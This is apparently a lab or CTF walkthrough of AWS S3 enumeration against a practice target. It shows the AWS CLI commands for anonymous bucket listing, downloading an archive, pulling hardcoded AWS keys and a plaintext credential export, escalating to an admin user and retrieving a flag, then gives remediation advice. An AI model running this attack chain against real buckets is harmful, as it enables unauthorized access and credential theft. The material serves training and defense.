

AWS S3 Enumeration Basics

Walkthrough (pwned labs)

Uncovering credential leakage and privilege escalation through systematic S3 bucket reconnaissance

Overview

S3 bucket misconfigurations remain one of the most prevalent vulnerabilities in cloud environments, often exposing sensitive data to unauthenticated attackers. This walkthrough demonstrates how a seemingly innocent static website can become the entry point for a multi-stage attack that leverages public bucket access, hardcoded credentials, and privilege escalation to achieve full compromise.

The beauty of S3 enumeration lies in its simplicity; what starts as anonymous bucket listing quickly cascades into authenticated access, lateral movement, and ultimately, sensitive data exfiltration. Every misconfigured permission tells a story of overlooked security controls and the dangerous assumption that "obscurity equals security."

Scope and Reconnaissance

Target Identification

Scope: <http://dev.huge-logistics.com>

The assessment begins with a development subdomain, often the weakest link in an organization's security posture. Development environments frequently inherit looser access controls, making them prime targets for initial access and reconnaissance.

Initial Discovery Phase

Page Source Inspection

Before diving into enumeration tools, examining the page source provides critical intelligence about the underlying infrastructure. Modern browsers make this trivial; a simple "View Page

Source" reveals the hosting architecture.

Finding: The static site is hosted on an AWS S3 bucket, immediately confirming our attack surface and suggesting potential misconfigurations in bucket policies or access controls.

Why This Matters: S3-backed websites often blur the line between "public website content" and "publicly accessible bucket." Organizations frequently misconfigure bucket permissions, assuming that without the exact object key, data remains secure. This assumption is dangerously wrong when list permissions are enabled.

Unauthenticated Enumeration

Testing Anonymous Bucket Access

The `--no-sign-request` flag transforms the AWS CLI into an unauthenticated reconnaissance tool, bypassing credential requirements to test for public access.

```
(kali㉿kali)-[~]  
└─$ aws s3 ls s3://dev.huge-logistics.com --no-sign-request  
      PRE admin/  
      PRE migration-files/  
      PRE shared/  
      PRE static/  
2023-10-16 13:00:47    5347 index.html
```

Critical Discovery: The bucket permits anonymous listing, exposing four distinct prefixes (directories) and an index file. Each prefix represents a potential treasure trove of sensitive information:

- **admin/** - Immediately suspicious; likely contains privileged content
- **migration-files/** - Migration projects often include credentials and configuration details
- **shared/** - Common directories frequently contain miscellaneous sensitive data
- **static/** - Expected for a website, but worth investigating for hidden gems

Security Implication: Public list access violates the principle of least privilege. Even if individual objects require authentication, knowing their existence and structure provides attackers with a roadmap for targeted attacks.

Drilling Into Shared Resources

```
(kali㉿kali)-[~]  
└─$ aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request  
2023-10-16 11:08:33      0  
2023-10-16 11:09:01    993 hl_migration_project.zip
```

Intelligence Gathered: A migration project archive sits publicly accessible in the shared directory. The filename itself reveals that migration projects inevitably involve moving credentials, configurations, and sensitive data between systems.

Retrieving Exposed Archives

```
(kali㉿kali)-[~]  
└─$ aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip .  
--no-sign-request  
download: s3://dev.huge-logistics.com/shared/hl_migration_project.zip to ./hl  
_migration_project.zip
```

```
(kali㉿kali)-[~]  
└─$ ls  
aws      Desktop  Downloads  Music    Public  shared-drives  Videos  
awscliv2.zip Documents hl_migration_project.zip Pictures reports Template  
s
```

```
(kali㉿kali)-[~]  
└─$ unzip hl_migration_project.zip  
Archive: hl_migration_project.zip  
  inflating: migrate_secrets.ps1
```

Jackpot: The archive extracts to a PowerShell script named `migrate_secrets.ps1`. Scripts with "secrets" in the filename are security assessment gold mines; they often contain exactly what their name suggests.

Credential Discovery and Analysis

Examining the Migration Script

```
(kali㉿kali)-[~]
└─$ cat migrate_secrets.ps1
# AWS Configuration
$accessKey = "AKIA3SFMDAPOWOWKXEHU"
$secretKey = "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"
$region = "us-east-1"

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

# Set the AWS region
Set-DefaultAWSRegion -Region $region

# Read the secrets from export.xml
[xml]$xmlContent = Get-Content -Path "export.xml"

# Output log file
$logFile = "upload_log.txt"

# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
    $retries = 3
    while ($retries -gt 0) {
        try {
            $result = New-SECSecret -Name $secretName -SecretString $secretV
alue
            $logEntry = "Successfully uploaded secret: $secretName with ARN:
$($result.ARN)"
            Write-Output $logEntry
            Add-Content -Path $logFile -Value $logEntry
            return $true
        }
    }
}
```

```

    } catch {
        $retries--
        Write-Error "Failed attempt to upload secret: $secretName. Retries left:
$retries. Error: $_"
    }
}
return $false
}

foreach ($secretNode in $xmlContent.Secrets.Secret) {
    # Implementing concurrency using jobs
    Start-Job -ScriptBlock {
        param($secretName, $secretValue)
        TryUploadSecret -secretName $secretName -secretValue $secretValue
    } -ArgumentList $secretNode.Name, $secretNode.Value
}

# Wait for all jobs to finish
$jobs = Get-Job
$jobs | Wait-Job

# Retrieve and display job results
$jobs | ForEach-Object {
    $result = Receive-Job -Job $_
    if (-not $result) {
        Write-Error "Failed to upload secret: $($_.Name) after multiple retries."
    }
    # Clean up the job
    Remove-Job -Job $_
}

Write-Output "Batch upload complete!"

# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force# .\\migrate_secrets.ps1

```

Critical Vulnerability Identified: Hardcoded AWS credentials sit prominently at the top of the script. This represents a catastrophic security failure:

- **Access Key:** AKIA3SFMDAPOWOWKXEHU
- **Secret Key:** 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
- **Region:** us-east-1

Script Context Analysis: The script's purpose - migrating secrets to AWS Secrets Manager is ironically undermined by embedding the credentials needed to perform that migration. This highlights a common anti-pattern where automation scripts prioritize convenience over security.

Authenticated Access and Identity Confirmation

Configuring AWS CLI Profile

With valid credentials in hand, establishing an authenticated session enables deeper enumeration with proper IAM context.

```
(kali㉿kali)-[~]  
└─$ aws configure --profile s3pwnedlabs  
AWS Access Key ID [None]: AKIA3SFMDAPOWOWKXEHU  
AWS Secret Access Key [None]: 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  
Default region name [None]: us-east-1  
Default output format [None]: json
```

Identity Verification

```
(kali㉿kali)-[~]  
└─$ aws sts get-caller-identity --profile s3pwnedlabs  
{  
  "UserId": "AIDA3SFMDAPOYPM3X2TB7",  
  "Account": "794929857501",  
  "UserId": "AIDA3SFMDAPOYPM3X2TB7",
```

```
"Arn": "arn:aws:iam::794929857501:user/pam-test"
}
```

Identity Context Established:

- **Username:** pam-test
- **Account ID:** 794929857501
- **User ID:** AIDA3SFMDAPOYPM3X2TB7

Strategic Insight: The username "pam-test" suggests a privileged access management testing account, likely created for automation or testing purposes. Such accounts often have broader permissions than intended, making them valuable compromise targets.

Privilege Enumeration and Access Testing

Exploring the Admin Directory

```
(kali㉿kali)-[~]
└─$ aws s3 ls s3://dev.huge-logistics.com/admin/ --profile s3pwnedlabs
2023-10-16 11:08:38      0
2024-12-02 09:57:44    32 flag.txt
2023-10-16 16:24:07  2425 website_transactions_export.csv
```

Discovery: The admin directory contains our objective `flag.txt` plus transaction data that could represent customer information or financial records.

Permission Boundary Encountered: Attempting to retrieve the flag reveals the first access control that actually works:

```
(kali㉿kali)-[~]
└─$ aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile s3pwnedlabs
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
```

Analysis: The pam-test user can list objects in admin/ but lacks GetObject permissions. This differential permission scheme suggests either object-level ACLs or a bucket policy that restricts data access beyond list operations.

Lateral Movement Through Additional Credential Discovery

Investigating Migration Files

```
(kali㉿kali)-[~]  
└─$ aws s3 ls s3://dev.huge-logistics.com/migration-files/ --profile s3pwnedlabs  
2023-10-16 11:08:47      0  
2023-10-16 11:09:26  1833646 AWS Secrets Manager Migration - Discovery  
& Design.pdf  
2023-10-16 11:09:25  1407180 AWS Secrets Manager Migration - Implementa  
tion.pdf  
2023-10-16 11:09:27    1853 migrate_secrets.ps1  
2023-10-16 14:00:13    2494 test-export.xml
```

Critical Finding: A `test-export.xml` file appears alongside migration documentation. Files with "export" in their names during migration projects almost universally contain credentials being migrated from legacy systems.

Extracting Additional Credentials

```
(kali㉿kali)-[~]  
└─$ aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml . -  
-profile s3pwnedlabs  
download: s3://dev.huge-logistics.com/migration-files/test-export.xml to ./tes  
t-export.xml  
  
(kali㉿kali)-[~]  
└─$ cat test-export.xml  
<?xml version="1.0" encoding="UTF-8"?>
```



```

<CredentialsExport>
  <!-- Oracle Database Credentials →
  <CredentialEntry>
    <ServiceType>Oracle Database</ServiceType>
    <Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
    <Username>admin</Username>
    <Password>Password123!</Password>
    <Notes>Primary Oracle database for the financial application. Ensure str
ong password policy.</Notes>
  </CredentialEntry>
  <!-- HP Server Credentials →
  <CredentialEntry>
    <ServiceType>HP Server Cluster</ServiceType>
    <Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
    <Username>root</Username>
    <Password>RootPassword456!</Password>
    <Notes>HP server cluster for batch jobs. Periodically rotate this passwor
d.</Notes>
  </CredentialEntry>
  <!-- AWS Production Credentials →
  <CredentialEntry>
    <ServiceType>AWS IT Admin</ServiceType>
    <AccountID>794929857501</AccountID>
    <AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
    <SecretAccessKey>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
</SecretAccessKey>
    <Notes>AWS credentials for production workloads. Do not share these k
eys outside of the organization.</Notes>
  </CredentialEntry>
  <!-- Iron Mountain Backup Portal →
  <CredentialEntry>
    <ServiceType>Iron Mountain Backup</ServiceType>
    <URL>https://backupportal.ironmountain.com</URL>
    <Username>hladmin</Username>
    <Password>HLPASSWORD789!</Password>
    <Notes>Account used to schedule tape collections and deliveries. Sched

```

```

    <Notes>enable regular password rotations.</Notes>
  </CredentialEntry>
  <!-- Office 365 Admin Account →
  <CredentialEntry>
    <ServiceType>Office 365</ServiceType>
    <URL>https://admin.microsoft.com</URL>
    <Username>admin@company.onmicrosoft.com</Username>
    <Password>O365Password321!</Password>
    <Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
  </CredentialEntry>
  <!-- Jira Admin Account →
  <CredentialEntry>
    <ServiceType>Jira</ServiceType>
    <URL>https://hugelogistics.atlassian.net</URL>
    <Username>jira_admin</Username>
    <Password>JiraPassword654!</Password>
    <Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
  </CredentialEntry>
</CredentialsExport>

```

Catastrophic Security Failure: This single XML file contains the keys to the kingdom:

1. **Oracle Database Admin** - Financial application access with plaintext credentials
2. **HP Server Root Access** - Complete system control over batch processing infrastructure
3. **AWS IT Admin Credentials** - Second set of AWS keys labeled for "production workloads"
4. **Iron Mountain Backup** - Physical and digital backup access
5. **Office 365 Global Admin** - Complete organizational email and collaboration platform control
6. **Jira Admin** - Project management and potentially sensitive development information

Attack Surface Expansion: What started as an S3 misconfiguration has exploded into multi-platform compromise potential spanning cloud infrastructure, on-premises systems, SaaS applications, and backup services.

Privilege Escalation to IT Admin

Testing the Elevated Credentials

```
(kali㉿kali)-[~]  
└─$ aws configure --profile s3pwnedlabs2  
AWS Access Key ID [None]: AKIA3SFMDAPOQRFWFGCD  
AWS Secret Access Key [None]: t21ERPmDq5C1QN55dxOOGTcIN9mAaJ0bnL  
4hY6jP  
Default region name [None]: us-east-1  
Default output format [None]: json
```

Confirming Elevated Identity

```
(kali㉿kali)-[~]  
└─$ aws sts get-caller-identity --profile s3pwnedlabs2  
{  
  "UserId": "AIDA3SFMDAPOWKM6ICH4K",  
  "Account": "794929857501",  
  "Arn": "arn:aws:iam::794929857501:user/it-admin"  
}
```

Privilege Escalation Successful:

- **Previous Identity:** pam-test (limited permissions)
- **New Identity:** it-admin (production administrative access)







Why This Matters: The username explicitly indicates administrative privileges. Unlike the test account, this identity likely has broad permissions across production resources, including the previously restricted admin/ directory.

Objective Achievement

Retrieving the Protected Flag

```
(kali㉿kali)-[~]  
└─$ aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt . --profile s3pwned  
labs2  
download: s3://dev.huge-logistics.com/admin/flag.txt to ./flag.txt  
  
(kali㉿kali)-[~]  
└─$ cat flag.txt  
a49f18145568e4d001414ef1415086b8
```

Mission Accomplished: The flag retrieval demonstrates complete success in the attack chain:

1.  Unauthenticated S3 enumeration
2.  Credential extraction from exposed archives
3.  Initial authenticated access
4.  Lateral movement through additional credential discovery
5.  Privilege escalation to administrative user
6.  Protected resource access and data exfiltration

Attack Chain Analysis and Security Implications

The Complete Kill Chain

This engagement demonstrates a textbook multi-stage cloud attack:

Stage 1: Reconnaissance → Anonymous bucket listing reveals directory structure

Stage 2: Initial Access → Public read permissions enable archive download

Stage 3: Credential Harvesting → Hardcoded credentials in migration scripts

Stage 4: Authenticated Enumeration → Valid credentials enable deeper reconnaissance

Stage 5: Lateral Movement → Additional credential discovery in migration files

Stage 6: Privilege Escalation → Higher-privileged credentials enable admin access

Stage 7: Objective Achievement → Protected data exfiltration

Critical Vulnerabilities Identified

1. **Public S3 List Permissions:** Anonymous users can enumerate bucket contents, revealing sensitive directory structures
2. **Public S3 Read Access:** Unauthenticated download of archives containing sensitive scripts
3. **Hardcoded Credentials in Scripts:** AWS access keys embedded directly in PowerShell automation
4. **Excessive Credential Storage:** Multi-platform credentials stored in plaintext XML
5. **Weak Secret Management:** Migration project exposes credentials across cloud, on-premises, and SaaS platforms
6. **Insufficient Object-Level Controls:** While admin/ had partial protections, migration-files/ remained fully accessible

Real-World Impact

Beyond the CTF objective, this scenario represents realistic consequences of S3 misconfigurations:

- **Data Breach:** Customer transaction data in admin/ could represent PII or financial information
- **Infrastructure Compromise:** AWS admin credentials enable resource manipulation, data deletion, or cryptocurrency mining
- **Lateral Movement:** Oracle, HP server, and Office 365 credentials enable enterprise-wide compromise
- **Backup System Access:** Iron Mountain credentials could facilitate data destruction or ransomware recovery interference
- **Supply Chain Risk:** Jira access could expose proprietary code, roadmaps, or customer information

Remediation Recommendations

Immediate Actions

1. **Rotate All Compromised Credentials:** Every credential in test-export.xml and migrate_secrets.ps1 must be considered compromised
2. **Enable S3 Block Public Access:** Apply at both account and bucket levels to prevent future misconfigurations
3. **Audit Bucket Policies:** Remove anonymous list and read permissions except for explicitly public content
4. **Review CloudTrail Logs:** Investigate all API calls made using the exposed credentials

Strategic Security Improvements

1. **Implement AWS Secrets Manager:** Store credentials securely with automatic rotation and audit logging
2. **Use IAM Roles:** Replace long-term credentials with temporary security credentials via instance roles
3. **Pre-Deployment Security Scanning:** Implement automated tools to detect credentials in code before deployment
4. **Least Privilege Access:** Restrict S3 permissions to minimum required; separate public and private content
5. **Object-Level Encryption:** Use SSE-S3 or SSE-KMS with restrictive key policies
6. **Continuous Monitoring:** Deploy AWS GuardDuty and AWS Macie for anomaly detection and sensitive data discovery

Developer Education

- Train teams on secure credential management practices
- Establish code review processes focusing on hardcoded secrets
- Implement pre-commit hooks to prevent credential commits
- Create secure templates for migration and automation scripts

Key Takeaways

This walkthrough illustrates how a single misconfigured S3 bucket becomes the domino that topples an entire security posture. **The cascade from public access to hardcoded credentials to privilege escalation demonstrates why defense-in-depth matters, every layer of security that failed amplified the impact.**

What We Learned

- ✓ **S3 misconfigurations are discovery goldmines** that reveal organizational structure and sensitive assets
- ✓ **Hardcoded credentials create credential chains** where each compromise unlocks additional access
- ✓ **Migration projects are high-risk** due to credential consolidation and automation shortcuts
- ✓ **Public doesn't mean harmless**; even development environments contain production credentials
- ✓ **Defense-in-depth prevents cascade failures**; multiple controls would have broken this attack chain

Attacker Perspective

From an offensive security standpoint, S3 buckets are consistently valuable reconnaissance targets. The pattern of "static website with misconfigured bucket" repeats across organizations of all sizes, making it a reliable initial access vector.

Defender Perspective

For defenders, this scenario emphasizes that cloud security requires vigilance across permissions, secret management, and data classification. A single overlooked bucket policy can expose years of accumulated sensitive data.

Remember: Cloud security isn't just about configuring services correctly, it's about understanding how those configurations interact to create either secure boundaries or exploitable pathways. Every permission, every credential, every file tells part of the security story.